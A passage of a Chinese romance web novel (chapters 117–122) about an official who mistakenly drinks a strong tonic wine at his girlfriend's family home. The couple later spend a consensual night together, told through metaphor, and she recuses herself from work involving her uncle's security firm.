《周先生他总是假正经》
第117章 “虎骨苁蓉。”
蔚汐从未听过向来成熟稳重的周聿深说出如此直白又带着强烈欲望的话,脸颊瞬间像是着了火。
她无措地眨了眨眼,声音带上了细微的颤:“我、我再去问问外公……这到底是什么酒?”
“别问了,宝宝……”周聿深手臂收紧,将她更深地按入自己滚烫的怀中,残存的理智在摇摇欲坠的边缘挣扎。
他讲话时气息灼热,烫得她耳廓发麻,“……不合适。”
尤其是在今天,他第一次正式登门拜访。
楼下都是她的至亲长辈,他绝不能在她家里失态,或者在她身边,做出任何失礼逾矩的事情。
这是周聿深刻在骨子里的修养所不允许的。
“缓一会儿就好。”周聿深像是在对她保证,又像是在对自己催眠,每个字说得都极其艰难,“……不用陪我。”
话虽如此。
但他抱着她的手臂却丝毫没有松开的迹象。
蔚汐被困在怀中,被他的克制挣扎给惹得心尖发软。
她的语气又是心疼又是无措:“可是……你抱得这么紧,我,我怎么去给你拿醒酒茶啊?”
周聿深滚烫的鼻息喷洒在她纤细脆弱的脖颈上,引起一阵细密的战栗,“我不知道……反正,离不开你。”
他的嗓音混合着无奈与贪恋的叹息:“特别想吻宝宝。”
那灼热的温度和她腰间无法忽视的存在感让蔚汐心慌意乱,甚至能感受到他越来越明显的反应。
这样等下去只会愈演愈烈。
蔚汐轻轻挣动了一下:“那你先放开我好不好?我去楼下给你端醒酒茶,喝了应该会好受点。”
“好。”
理智很果断地答应了。
但是欲望根本不舍得松开。
周聿深喉结剧烈滚动,闭了闭眼,才极其缓慢地,一点点松开了手臂,放她离开。
蔚汐立刻像受惊的小兔子一样跳下床,脸颊红扑扑的,几乎是脚步虚浮地走出了客房,轻轻带上了门。
楼下客厅。
蔚时尧正在优哉游哉地看着电视里的财经新闻。
蔚汐哒哒哒地径直冲到他面前站定,一双水灵的眼睛瞪着他,脸上写满了又急又恼又羞于启齿的意味。
蔚时尧被她的架势弄得一愣,疑惑地挑眉:“干嘛?摆出这么个兴师问罪的模样?”
蔚汐眼神飘忽,声音带着点难以启齿的磕巴:
“舅舅!你、你晚上拿出来的那坛酒,到底是什么东西啊?”
蔚时尧一顿无语,坐直了身子,“百岁蕲春啊,还能是什么?你外公亲自酿得你还不清楚吗?”
“他自己酒量不好还怪上酒,怪上你舅舅了,简直倒反天罡。我说蔚小汐,你少跟我这么护着外人,小心下回吃饭我还灌他酒,你可劲儿心疼去吧。”
“……”
“……真的不像是百岁蕲春,”蔚汐顾不得害羞了,支支吾吾地描述:“那个酒的后劲特别大,很烈很烈。”
蔚时尧眉心微皱,也觉得奇怪,“不能啊,我亲手从藏酒柜上边儿搬出来的,一模一样的紫陶坛。”
他说着,猛地站起身,大步流星地走向餐厅。
不能吧?
莫非真搞错了?
蔚时尧随手拿起餐边柜上那坛还剩下三分之一的酒,又风风火火地去找正在院子里摆弄药草的蔚老先生。
“爸,快闻闻,这不是百岁蕲春?”他直接把酒坛子递到外公脸上,“小汐说这酒劲儿大得离谱,真稀奇。”
外公被蓦然打断,有些不悦地蹙起眉。
但还是接过了酒坛,凑近封口仔细闻了闻,又用手指蘸了点儿坛口残留的酒液捻了捻。
片刻后,老人家脸色微微一变:“胡闹!这哪里是百岁蕲春!这是前几个月刚泡的虎骨苁蓉!是给那种阳虚体弱的人大补用的,你这都能拿错?”
蔚汐:“……”
蔚时尧:“……”
客卧的周聿深:“…………”
蔚汐甚至顾不上跟舅舅“算账”了,她心里一紧,担忧问道:“那,他喝了那么多,会不会有事啊?”
外公重重叹了口气,神情严峻:“这虎骨苁蓉乃是古法所载,助Y益J,药性峻烈非常,聿深本就阳气充沛,骤然受此大补,犹如烈火烹油,至少……今夜定然不怎么好受。”
蔚汐听完,又是担心又是气恼,嗔道:“舅舅,这…这算什么嘛!明明是你拿错了,还噼里啪啦训了我一通!”
蔚时尧轻咳了一声,语气有些不太自然:“这怎么能怪我,要怪就怪你外公把俩一模一样的坛子放在一起,瓶口标注还那么小,这谁能注意得到。”
“再说了,大男人家家的,喝点补酒怎么了?”
“事已至此,今晚就算……算他倒霉。”
说到最后,蔚时尧自己都有点底气不足,但又忍不住觉得这乌龙实在是有点好笑。
不知道的人还以为是给未来外甥女婿的考验呢。
谁那么无聊给灌大半坛子补酒当考验啊。
“行了行了,别兴师问罪了,你外公去抓药了,我去给他煮行吧,太他妈离谱了哈哈哈哈。”
“……舅舅你还笑!”
蔚汐看着舅舅离开的背影,自己也有点哭笑不得。
明明白天还在正经见家长,晚上怎么就莫名其妙变成这个样子了……
外公倒是镇定,转身去抓了几味清热降火的药材,然后将药材粉末和煮好的醒酒茶混合在一起,倒了足足两大杯,递给蔚汐:“端上去给他,两杯都喝了,能泻火安神,告诉他,静心凝神,缓过药劲儿便好。”
蔚汐端着两杯深色茶汤,心情复杂地重新走上楼。
她轻轻推开客房的门,里面的景象让她呼吸一滞。
周聿深似乎试图用冷水让自己冷静,额前的发丝被打湿了几缕,凌乱地贴在泛着不正常红晕的额前。
衬衫扣子也被扯开了好几颗,露出线条流畅的胸膛,肌肤因为热度和薄汗泛着一层细腻的水光。
他仰靠在沙发上,眉头紧蹙,呼吸沉重。
浑身散发着一种极度压抑却又性感撩人的狼狈。
第118章 “别那么看我,宝宝。”
周聿深看到是她,嗓音沙哑得几乎破碎:
“……怎么去了那么久?”
蔚汐被眼前这幅极具冲击力的画面弄得心跳加速。
她快步走过去,将托盘放在桌上,声音带着心疼:“外公特意配的,说能泻火安神。”
周聿深就着她的手,顺从地喝了几口。
微苦带甘的茶汤滑入喉咙,带来了一丝短暂的清凉。
“问清楚了?”他声音依旧低哑灼热。
“嗯……”蔚汐有点不好意思,脸颊微烫:“舅舅拿错酒了,这坛不是百岁蕲春,是……用来大补的,虎骨苁蓉酒。”
周聿深闻言,几乎是无奈地低笑了一声:“原来是这样。”
他顿了顿,喉结滚动,“这酒的后劲真是,够受的。”
蔚汐小声道歉,带着难以言喻的心疼:“对不起啊……都怪舅舅太马虎了。”
“不怪他。”周聿深摇摇头,目光贪婪地流连在她泛着粉色的脸颊上,“我也没注意到两坛酒不一样。”
蔚汐把茶杯递给他的时候,周聿深连指节都是灼热的。
他没有丝毫犹豫,仰头便将那杯汤药一饮而尽。
“外公说让你好好休息,缓过药劲儿就好。”
“嗯……”
周聿深低低应了一声,将空杯子放在一旁。
蔚汐看着他还是难受,更加不放心:“要不还是请外公过来看看?让他给你扎几针,或者再配点温和的药缓解一下?”
“不许去。”周聿深立刻握住她的手腕,力道下意识收紧又放松,指腹在她皮肤上轻轻摩挲了下,像是安抚。
“只是多喝了点酒,不用兴师动众劳烦外公,让他老人家看见我这副样子,还以为我多经不起事。”
他此刻的状况确实尴尬,被大补烈酒惹出的这种反应,绝不是他想让长辈看到的。
“真的没关系吗?”
“没事的,别担心……宝宝。”
蔚汐看着他即使在这种状态下依旧维持着风度和理智,不愿在她面前,在她家里失态,心软得一塌糊涂。
她环顾四周,琢磨着还缺什么东西:“换洗衣物要吗?我去舅舅那屋给你抢点儿新的?要不要再用冷毛巾敷一下?会不会好一点?”
周聿深被她清澈专注的目光盯着,呼吸骤然加重。
下一秒,他忽然伸出手,温热的手掌轻轻覆上了蔚汐的眼睛,挡住了她的视线。
“别那么看我,宝宝。”他的声音低哑得近乎破碎,带着难以言喻的煎熬。
蔚汐眼前忽然变得一片黑暗。
她下意识想开口,唇上却落下一个滚烫而柔软的触感。
周聿深低头吻住了她。
一触即分。
短暂而充满了压抑的渴望。
“你不在这儿,就是最大的帮忙了。”周聿深摇了摇头,声音愈发低沉压抑:“回去休息吧宝宝。”
蔚汐听懂了他的言外之意,脸又热了起来。
她站起身,犹豫了一下,还是轻轻替他拢了拢敞开的衬衫衣襟,指尖不小心碰到他灼热的皮肤,两人皆是一颤。
“周聿深,要不——”
话音未落,男人便踉跄着站起身,打断了她。
虽然步伐微不可察地晃了一下,但还是绅士地轻揽着蔚汐的肩膀,将她带向门口。
蔚汐被他半搂着护出客房,回头还想说什么。
周聿深下巴贴在她的颈窝处,用只有两个人能听到的沙哑嗓音解释道:“我是很想,想到发疯的那种……但是宝宝,我很珍视和你的第一次,所以不希望在这种长辈都在的场合下,更不希望因为酒精的原因导致有什么失控,你明白吗?”
他的语气温柔得和他此刻紧绷的状态截然相反:
“不明白也没关系,知道我爱你就好。”
“……晚安宝贝。”
说完,不等蔚汐回答,便将她推离了客房。
房门关上的瞬间,周聿深闭上眼,苦笑着抬手覆上额头。
他最终还是进了浴室,打开了冷水龙头,卸下所有理智,任由冰冷的水流冲刷着滚烫的身体。
没过多久,蔚汐来给周聿深送换洗衣物。
幸好舅舅和他的身形差不太多,蔚汐直接冲过去“抢”了一套高定全新,完全没穿过的黑色西装。
蔚时尧自知有愧,倒也没跟她计较,随她拿去。
结果没想到周聿深特意把房门反锁了,没钥匙进不去。
蔚汐只好站在门口,轻声喊他:“周聿深,我把干净的衣物给你放在门口了,你等下记得拿噢。”
就这么一声。
就这么喊了一声他的名字。
周聿深靠在冰冷的瓷砖上,重重地喘了口气。
长夜漫漫。
舅舅这份别具一格的“见面礼”,还真是难熬。
**
翌日一早。
晨光透过窗帘的缝隙照进。
蔚汐醒来时,脑袋还有些昏沉,昨晚记忆最清晰的便是周聿深克制压抑的嗓音,心里立刻浮起担忧。
她顾不上洗漱,踩着拖鞋便出了房门,到隔壁客房。
“周聿深?”她轻轻敲了两下门,声音带着刚睡醒的软糯。
里面静悄悄的,没有任何回应。
蔚汐犹豫片刻,抬手拧了下门把手。
房间里空无一人,干净得仿佛从未有人进来过,连她离开时沙发上的凌乱抱枕都摆放的整整齐齐。
她正愣神,外婆的声音从身后温和传来:“小汐醒啦?是找聿深吗?”
蔚汐回头,看见外婆正端着水杯站在不远处。
“外婆,他……”
“聿深一大早就走了,早餐都没顾上吃,说单位有事,得赶紧去处理。”外婆说着,语气里带着对晚辈的疼惜:“这孩子,工作起来真是拼命。”
“这么急吗?”蔚汐轻声重复,心底的担忧又加深了些。
她回到自己房间,指尖在对话框上停留片刻,发了条信息过去:[昨晚……你还好吗?有没有哪里不舒服?]
信息发出后,整个上午都安静着。
蔚汐也在单位忙到晕头转向,升到科长之后的工作压力远远比她想象中的还要沉重。
与此同时,中心大楼书记办公室。
周聿深刚刚结束关于城市轨道交通方案的紧急协调会。
高强度的工作持续了整个上午,太阳穴隐隐作痛,喉咙干涩,身体深处的高热让他比平时的反应迟钝了几分。
他拿起手机,刚看到蔚汐早上发来的信息。
那股濒临失控的强烈张力仿佛再次涌了上来,促使着他敲下了那两条彼此心照不宣的信息。
周聿深:[不好。]
周聿深:[今晚来泊月睡吗?]
第119章 “生病发烧。”
会议结束后,梁秘书趁着递文件的间隙,关切询问:“领导,您脸色似乎不太好,下午三点和发改那边的座谈,需不需要协调推迟半小时,您稍微歇一会儿?”
周聿深接过文件,目光快速扫过内容,头也没抬。
“不用。上午的会议纪要整理好交给我,还有,省里近期筹备的国际性论坛进展如何?”
“纪要正在整理,报告已经准备好了,马上给您送来。”
梁序立刻回答,见领导态度坚决,便不再多言,只是暗自决定稍后泡杯浓一点的咖啡送来吧。
周聿深强撑着精神,高效地处理完了今天所有紧急且重要的工作,甚至将明天上午需要他最终签批的几个项目也提前审阅完毕。
“明早有需要亲自主持的早会行程么?”
“早会没有,只有十点钟公安那边的邵局长会来汇报安保活动招标事宜。”
“嗯,知道了。”
等周聿深处理完所有工作,早已过了下班的时间。
手机屏幕依旧安安静静。
高热让他的耐心比平时更薄几分,也有些猜不透她是拒绝,是犹豫,还是……在忙?
周聿深没再等待,直接拨通了蔚汐的号码。
忙音只响了两声就被响起,电话那头传来蔚汐一副公事公办的口吻:“喂?周书记,有什么安排吗?”
周聿深停顿了片刻,沉着嗓音问:“在忙吗?”
“嗯,还有一些文件需要处理。”她的声音透过听筒传来,透着浅浅的紧张:“周书记,您有什么事吗?”
周聿深看着下午刚测过的体温计,语气带着点自己都未察觉到的控诉:“领导发烧了。”
“多少度?”蔚汐声音里染上了克制的关切。
“三十九度。”他报出数字,声音因不适从而显得愈发低沉磁性。
电话那头安静了几秒。
随即响起蔚汐努力维持得体的回应:“那您得多注意休息,多喝温水,及时吃药。需要我帮您联系医生或者……”
她的话没说完,就被周聿深带着无奈和一丝不易察觉的诱哄打断:“真不来吗?宝宝。”
“我……”蔚汐的声音听起来有点含糊,背景似乎还有轻微的瓷器碰撞声,“工作还没处理完,明天好不好?”
周聿深没再说什么,只低低“嗯”了一声。
电话挂断后,高烧的不适和被忽略的失落交织在一起,他竟不知道自己也会有这么黏人的时刻。
许是虎骨苁蓉的副作用还没完全过去,又加上发烧让他的思维比平时迟钝了许多。
直到他推开泊月公馆的房门。
一股浓郁苦涩的中药味扑面而来。
周聿深身形微怔,目光精准地投向餐厅的方向。
暖黄的灯光下,那个在电话里说着“工作还没处理完”的人,正背对着他,小心看着咕嘟冒泡的药罐。
她穿着白色衬衫和半身裙,勾勒出不盈一握的腰线。
听到动静后,蔚汐立刻回过头。
周聿深目光沉沉地落在她身上,从她微红的脸颊,到被水汽熏得有些湿润的眼睫。
蔚汐被他看得有些不自在,率先移开视线,声音比电话里软了几分:“药煮好了,是外公抓得清热去火的方子。”
她说着,关掉了火,却并没有立刻就盛药。
而是有些匆忙地绕过料理台,像是去客厅拿什么东西。
周聿深的视线比她要更快抵达。
然后,他就看到了——
客厅茶几上,静静放着一大束鲜艳欲滴的红玫瑰。
饱满的花瓣上还缀着细小的水珠,在灯光下犹如凝固的血液,炽热而浓烈。
那一瞬间。
周聿深觉得心口像是被什么东西猛地撞了一下。
玩笑话而已。
甚至那天还利用玫瑰花当借口欺负了她。
可是……
他的小鱼宝宝,竟真的为他寻来了这世间最炽热滚烫的浪漫,一击便正中他的心脏。
蔚汐刚走到餐厅与客厅的交界处,高大的身影便极具压迫感地靠近,攥住了她的手腕。
她低呼一声,天旋地转间,已经被打横抱了起来。
周聿深的手臂紧实而有力,他的目光再次掠过那束玫瑰,眼底涌动着深不见底的暗流。
“周聿深,花……”蔚汐在他怀里轻轻挣扎了一下。
“看到了。”他低头,用滚烫的唇碰了碰她的耳垂,声音哑得不成样子:“很漂亮。”
周聿深抱着她大步踏上旋转楼梯,踢开卧室的门,将她轻轻放在床铺中央,高大的身躯随即覆上。
“宝宝。”低哑的嗓音裹挟着灼热的气息,完全吞没了她微弱的抗议,“好会爱人的小鱼宝宝……”
这个吻有种近乎掠夺的深入,不再是小心翼翼的克制,而是彻底卸下所有伪装和冷静后的急切与渴望,带着高烧特有的温度,仿佛要将彼此融化。
蔚汐被这突如其来的攻势给吻得晕头转向。
但残存的理智还是让她在换气的间隙含糊不清地提醒:
“发烧了……你还没喝药……”
昨天熬了一整夜,今天生病还强撑着工作。
她实在是担心他的身体会撑不住。
周聿深稍稍起身,呼吸粗重,眼底是烧得通红的渴望。
他看着她水光潋滟的唇,指腹轻轻拂过,声音低沉而诱惑:“酒的原因,不是我的原因。”
蔚汐手指无意识攥紧了他的衬衫,无奈轻笑:“那生病的是不是你?”
“是。”周聿深染着热气的薄唇再次覆上,哑声道:“这不是在乖乖吃药么?”
蔚汐能感觉到他全身肌肉都绷得紧紧的,体温高得吓人。
“……等等,”她在他密集的吻中艰难地偏过头,气息不稳地提醒,脸颊红得快要滴血:“我……不好意思去买,你自己出门。”
周聿深单手将她抵在胸前的手臂反扣在头顶。
他没有说话,只是伸出一只手臂,唰地一声拉开了床头柜的抽屉。
蔚汐下意识抬眸望去,所有的羞涩和茫然都被震惊取代。
抽屉里,整整齐齐地码放着满满一盒盒未拆封的Large Condom.
“啊?”她的大脑有些宕机,“……这么多?”
周聿深低下头,再次吻住她惊讶微张的唇,将这个荒谬的问题堵了回去。
“我计算过。”他在她唇边喘息着低语,严谨至极:“这只是未来三个月的定量刚需。”
第120章 “讨厌的鱼缸。”
一条穿着蓝尾礼服,鳞片在昏暗光线下流转着仙气微光的孔雀鱼,此刻正因为水温的骤变而瑟瑟发抖。
过于炽热的水温让小鱼无所适从,本能地想要游弋,却又被温柔地困于方寸之间,只能生涩地依附着他,在泊月公馆的陌生鱼缸里随波逐流。
然而,就在某个深入的时刻。
鱼缸内的滚烫热流忽然间停了下来。
周聿深身形稍稍僵住,撑起身,眼底那层因为高烧而笼罩的迷雾散开些许。
他没有料到,这尾蓝色小鱼,竟是初次尝试洄游的行为。
“……小鱼宝宝?”他沙哑地低唤,声音里带着难以置信的一吻,呼吸粗重得厉害。
以他所知的关于她过去的零星信息。
可以说从未预设过这种情况。
蔚汐呼吸急促,迷离的眼眸对上他明显错愕的神情,肌肤泛起绯色,几乎要呜咽出声:“……干嘛?”
周聿深凝视着她羞涩闪躲的模样,怔愣片刻后,而后爆发出一种近乎狂喜的光芒。
“……我不介意的。”他吻去她眼角的湿意,灼热的气息落在她的面颊,低笑着哄:“只是没想到。”
鱼缸内流动的水波仍在微微荡漾。
周聿深并没有着急催促小鱼游到该游的地方,而是看着她簌簌颤动的漂亮尾巴,语气带着近乎蛊惑的温柔:
“今天来泊月的这条小鱼,只认了一个主人。”
蔚汐晕红着脸,泛着水光的眼眸瞪他一眼,那眼神软得没有丝毫威慑力,反倒像撒娇:“……口是心非。”
他坦诚回答:“是心口如一。”
蔚汐轻轻哼了声,小声娇嗔:“假正经!”
周聿深眉梢微挑,从喉间滚出一声笑:“只是对你。”
蔚汐被他看得浑身不自在,下意识偏过头,有些羞窘地轻声应:“嗯……”
周聿深低头吻住蓝色小鱼的漂亮尾巴,薄唇辗转间,宠溺地叹息了声:“好乖啊。”
怎么会这么乖。
怎么会这么彻底地,只认了他。
所有的试探徘徊,遥不可及的高山,横亘在两个人之间该死的界限,在这一刻,如同被持续不断的潮汐猛烈拍打的岸线,最终彻底消融,不复存在。
他确实是病了。
高烧三十九度。
周聿深的呼吸自始至终都沉重且灼热,但依旧小心珍贵地照顾着那尾漂亮蓝色小鱼的感受。
小鱼早已无力思考,思绪如同午后池面漾开的粼粼波光,还未聚拢便已碎成万千金箔。
“周聿深……”
“嗯?”
“你可以去楼下把退烧药给喝了吗?”她喘息着请求,眼底没有半分对他生病的担忧,只有对温度的难耐。
周聿深牵着她的手落在自己的额头,“很烫吗?”
蔚汐听着他若无其事的语气,暗自咬了咬牙,心里想着以后他再生病休想让她去抓药煮药。
发烧就发烧。
感冒就感冒。
难受死他算了。
她在讨厌的炙热鱼缸中载沉载浮,彻底迷失了路线。
月光下,他的手掌托住她的腰肢,指引着小鱼缓慢游弋。
他是滚烫的、绵密的、令人安心的珊瑚丛,是能藏匿小鱼所有不安与悸动的栖所。
**
晨光如纱,轻柔地漫入室内。
蔚汐伏在他身上,发丝垂落如海藻,缠绕在他的指尖。
周聿深的手掌轻抚过她的脊背,仿佛在丈量一尾人鱼的弧度,他的吻沿着额头落下,最后落在她温热的脸颊上。
见她毫无反应,又抬手在她腰间轻轻摩挲。
“唔……”蔚汐在睡梦中蹙眉,迷蒙着掀开了眼帘,很委屈地控诉:“周聿深你好烦啊……”
带着浓重鼻音的抗议声刚落下,闹钟铃声便响了起来。
她被惊得浑身一颤,彻底清醒了过来。
今天厅里要开重要会议。
没法儿请假或者缺席。
蔚汐用被子把自己裹得严严实实,在心里默念着十秒,再躺十秒她就起来洗漱上班。
“真要迟到了宝宝。”
周聿深连人带被子抱起来时,收获了一声气呼呼的闷哼。
蔚汐强撑着坐了起来,越想越气,随手拿起旁边的枕头朝他砸去。
这还是她第一次这么肆无忌惮地朝他发脾气。
周聿深低笑着没躲,岁月磨砺出的沉稳在她孩子气的举动前化作无尽柔情,眼底漾着纵容的宠溺。
洗漱间里,蔚汐眯着眼,脑袋一点一点地打瞌睡。
周聿深伸手托着她的下巴,笑道:“要不请半小时假?会议没那么早开始。”
“不要。”她嘟囔着,身体不由自主地倒在他怀里,“那个活动很重要,得提前过去准备资料。”
他稳稳接住她,见时间还富裕,就抱了一小会儿。
感受到怀里的人呼吸逐渐清晰,周聿深才松开些许,垂眸看她:“这次国际论坛活动的级别是高,但本质上和其他任务没什么区别,不用提前预设困难。”
蔚汐在他怀里点了点头,声音带着点软糯:“知道的。”
周聿深像是忽然想起了什么,语气变得随意,却又不那么随意:“安全评估是底线,每个细节都要亲自过目,有些问题不能只听汇报,”
他顿了顿,补充道:“但也不能不汇报。”
蔚汐敏锐地捕捉到他话里细微的别样意味,抬眸看去,眼神里带着探究:“嗯?周先生想暗示我什么?”
周聿深眼底掠过一丝笑意,知道以她的聪慧,一点就透。
但他并不打算此刻说破,只是牵着她的手往门外走,“会议结束后小汐就知道了,现在聊没意义。”
下楼吃早餐的时候。
蔚汐不由自主地看了眼主卧紧闭着的房门,脸颊再次泛起浅浅的红晕。
起初还能将就。
但后面不得不换到客卧休息。
周聿深顺着她的视线望去,唇角弯起了然的弧度:
“宝宝?”
蔚汐猛地回神,像是被窥见了什么秘密。
她伸手戳了戳他的手臂,声音小的几乎听不见:“你……你不许请阿姨过来打扫那间房。”
周聿深低笑出声,嗓音是显而易见的愉悦。
他倾身过去,刻意压低了嗓音:“这句话,小鱼宝宝昨晚迷迷糊糊的时候,已经很可爱地威胁了我三遍。”
晨光下,她连细白的脖颈都染上了一层薄绯。
蔚汐没理他,脸几乎要埋进早餐碗里。
她那时被闹得思绪混乱,很多对话和过程都记不太清了,但只有一个念头至今还很清晰。
他昨晚高烧的温度。
绝对不止三十九度。
第121章 “逞强。”
住建厅大会议室内,气氛庄重严肃。
厅长正就即将到来的海城市国际经济论坛进行部署:“国际经济论坛是今年省内最高规格的外事活动,上级领导高度重视,社会各界密切关注。”
“我们住建厅作为场馆设施保障的牵头单位,肩上的担子很重,必须确保万无一失。”
蔚汐凝神听着,蓝色钢笔在笔记本上快速记录着要点。
当听到“第三方技术顾问”这几个字时,她的笔尖几不可察地停顿了一下。
“经过公安部门前期的遴选评估,确定引入‘磐石安保’作为本次论坛场馆安全的第三方技术顾问,负责部分区域的安全风险管控。”
磐石安保。
舅舅的公司。
蔚汐停顿了半秒,继续不动声色地记录下去。
会议结束后,人群陆续散去。
陆处长没等他们回到办公室,直接点了几个名字去小会议室,严肃利落地布置任务。
“小蔚,这次论坛主场馆及周边临时配套设施的规划安全评估和合规督查,由你们科室负责,这是你的专业领域,有没有问题?”
蔚汐立刻答应:“没有问题,处长,我会尽快熟悉方案,确保所有设施符合安全规范。但是……有个情况需要提前和您汇报一下。”
陆处刚想安排其他工作,闻言,眉心轻蹙,“什么事?”
蔚汐目光坦然地迎上陆处长的视线,声音清晰平稳:“刚刚在会议上宣布中标的第三方技术顾问‘磐石安保’,这个公司的负责人是我舅舅。根据内部回避原则,我申请不参与任何与该公司直接业务对接,以确保工作的绝对公正性和客观性。”
“相关业务您可以指定处里其他科室负责,如果有必要的公务沟通,我也会至少保证两人在场,并全程留痕。”
小会议室内安静了一瞬。
其他同事各自整理着手中的文件,仿佛没听见,实则全都竖起了耳朵偷偷听着。
这也是她权衡过后,选择在此时此地公开说明的原因。
私下汇报当然也可以,但难免会留下一点“私下通气”的模糊空间,甚至可能被误解为某种程度的试探。
既如此。
倒不如把事情摆在明面上。
所有人都心知肚明,必须公事公办。
陆处脸上的表情没什么变化,只是看着蔚汐的眼神里多了几分浅淡的赞许,“行,情况我知道了,你主动提出回避,是正确的做法。”
“这样,”他略一思考,快速做出调整:“原定由你们科室及负责的合规督查,拆分成两部分。整体的核心部分还是由你牵头,至于所有需要与‘磐石安保’直接对接的环节我让王处那边接手。”
“明白,多谢陆处理解。”蔚汐松了口气,心中那点细微的忐忑被原则带来的踏实感取代。
她想起早上周聿深那意有所指的话。
此刻终于明白了他的提醒从何而来。
他提醒她的,正是如今在这个位置上,既要恪尽职守,又要懂得如何合规的避嫌。
**
接连数日,蔚汐都陷入到繁忙的工作中,无暇他顾。
国际论坛筹备的工作千头万绪,蔚汐带着科室人员往返于场馆与办公室,核对数据,勘查现场,常常忙至深夜。
不要说约会见面了。
两人连视频聊天的时间都没多少。
这天傍晚,蔚汐站在场馆入口处,正与施工方沟通最后几项收尾工作的细节。
她语速平稳,条理清晰,但依旧掩不住连日的疲惫。
不远处,一辆黑色轿车无声地滑停在路边。
周聿深坐在驾驶座上,目光沉静地落在那个纤细却挺得笔直的身影上。
直到他们沟通结束,他才发了简短的信息:
[在门口等你。]
蔚汐刚收拾好东西,手机便震动了一下。
她快步走出场馆,一眼便看到了那辆熟悉的车。
蔚汐小跑着拉开车门坐进副驾,车内温热的空气扑面而来,瞬间驱散了身上的寒意。
周聿深瞬间将她冰凉的手握在掌心,眉头微蹙:“几天没好好睡觉了?知道降温还在室外谈工作。”
连日积累的压力和疲惫仿佛在这一刻找到了细微的依靠。
“还好……”她声音有点哑,带着忙碌后的倦意。
“逞强。”他低声道,语气里听不出太多情绪,只是发动车子,将空调温度又调高了些。
车子平稳汇入晚高峰的车流。
安静行驶了一段时间后,周聿深目视前方,忽然开口,语气平淡:“刚才那种协调沟通,必须你亲自盯到底吗?”
蔚汐身形微怔,几乎瞬间就明白了他的意思。
这个铺垫的问题结束,大概率是要开始“训斥”了。
她声音里透着几分自己都没察觉到的娇气:“……可是别人我不放心嘛。万一出了错,还不是要我来承担后果。”
周聿深并不认同她的想法,“既然最重要的技术标准已经定好,具体的执行和监督,要学会交给合适的人去跟进。”
他声音不高,却点明了她工作模式里事必躬亲,不懂放权的弱点:“你要把控的是方向和结果,而不是每一个过程。难道之后的所有事情,都要你一刻不离地守着吗?”
蔚汐被怼得哑口无言,细细品着他的话。
她知道他说得对。
车子缓慢地行驶在夜色中,蔚汐累得几乎在副驾上睡着。
半梦半醒间,感觉到车停了。
她以为是到家了,迷迷糊糊睁开眼,却发现车停在一家很有氛围感的港式糖水铺外。
周聿深解开安全带:“等我一会儿。”
他下车后,没过几分钟便提着一个纸袋回来,从里面拿出一杯温热的杏仁茶,仔细插好吸管,递到她嘴边。
“手太冰了,暖一下。”
他的语气依旧平淡,仿佛只是做了件再寻常不过的小事。
蔚汐怔怔地接过,温热的甜香萦绕在鼻尖。
她小口啜饮着,忽然皱起眉头,拖着语调娇声抱怨:
“好苦啊周聿深,你是买了中药回来吗?”
周聿深明显一怔,眉宇间掠过一丝疑惑:“苦吗?”
他下意识伸手,“我尝尝。”
蔚汐大大方方地把杯子递还给他。
然而,就在他低头凑近吸管的瞬间——
她忽然倾身向前,温软的唇飞快地印上了他的唇角。
第122章 “撒娇。”
这个吻一触即分。
周聿深动作顿住,侧过头看她。
车内光线昏暗,但他依然清晰看到了她眼底的微光,感受到心口那一下无可否认的加速跳动。
他没有说话,只是静静地看了她两秒。
蔚汐被他看得有些心虚,刚想躲开视线,就听见他低沉平稳的语调响起:
“即便是想转移话题,也不要用这种方式。”
他目光落在她难掩倦色的脸上,“你体质本来就弱,这样高强度的工作节奏,身体能不能承受得住?我希望你认真评估。”
他的关心包裹在严肃的口吻里,像一份措辞严谨的报告。
蔚汐没说话,长长的睫毛颤了颤。
车内安静得能听到空调细微的热风声。
她忽然又凑上前,这一次,目光明确地再次吻上他的唇。
不再是仓促的触碰,而是带着一点固执的轻柔停留,试图吻去那抹严肃的口吻。
周聿深没有躲开,但也没有立刻回应。
他只是任由她贴着,感受着唇上的柔软温热。
空气中弥漫着杏仁茶浓郁的甜香。
几秒后,蔚汐缓缓退开,微微喘着气,脸颊发烫。
周聿深心中那点因她不顾身体而生出的薄恼,最终还是化为了一缕无奈的叹息。
他抬手,用指腹极轻地擦过她的下唇,动作克制而谨慎。
“汐汐。”他唤她名字,声音低沉,带着上位者特有的沉稳:“你不能总是这样。”
“哪样?”蔚汐小声问,声音里带着点不易察觉的撒娇。
他直视着她的眼睛,仿佛能看进她的心底:“撒娇、接吻,试图用我喜欢的方式蒙混过关。”
“外公前两天特意打电话叮嘱,说你入冬时最容易生病。你的工作态度我认可,但过度消耗并不可取,这一点,我希望你能好好改正。”
他的话语清晰冷静,一字一句,敲在她的心上。
“我明白的,”蔚汐低下头,看着手中温热的杯子,“可你也知道这个论坛活动会有多少重要人物出席,万一出现任何差错,我不想我的工作止步于此。”
“这不是一个道理。”周聿深轻叹了声,语气沉缓:“论坛的重要性我了解,你的责任心我更清楚。”
“但保障活动顺利进行的前提,是核心人员保持清醒的头脑和充沛的体力,你现在的状态,已经是在透支。”
蔚汐捧着那杯温度恰好的杏仁茶,小口小口的喝着。
甜腻浓郁的滋味滑过舌尖。
她咬了下吸管,放软语调说:“我会注意调整节奏的,你别那么严肃好不好?感觉像在开批评会一样,紧张。”
周聿深看着她微微鼓起的面颊,眼底掠过一丝极淡的笑意,声线平稳:“哪儿批评了?”
蔚汐学着他不疾不徐的严肃语调:“蔚汐同志,过度消耗并不可取,这一点,我希望你能好、好、改——正——!”
她故意拖长了最后两个字,添油加醋。
周聿深终于忍不住低笑出声,摇了摇头,那点残存的严肃气氛彻底消失殆尽。
他伸手过去,轻轻揉了下她的发顶:“我算是明白为什么外公不亲自叮嘱你了。”
“为什么?”蔚汐眨眨眼,等待着他的下文。
“因为他知道,道理讲到最后,没脾气的人肯定是他。”
周聿深语气无奈,带着显而易见的纵容:“就像我现在一样。”
蔚汐眼底闪过一丝明媚的笑意,微微扬起下巴:
“知道就好。所以周书记,批评会可以散会了吗?小蔚同志申请回家补充能量。”
她这副明明理亏却强行“胜利”的模样,灵动又娇俏,毫无防备地撞进周聿深的眼里。
他几乎没做任何思考,自然而然地俯身靠近。
然而,就在他的气息即将笼罩下来的那一刻,蔚汐却像是早有预料,脑袋倏地一偏。
那个原本该落在唇上的吻,只是轻轻擦过了她的脸颊。
“回家啦。”蔚汐眼底漾着得逞的笑意,伸手推了推他的肩膀,“不许亲。”
周聿深坐直身子,语调悠长地问道:“只许州官放火,不许百姓点灯?”
蔚汐一本正经地点点头:“嗯,这是州官刚立的规矩。”
车子最终停在静谧的泊月公馆门前。
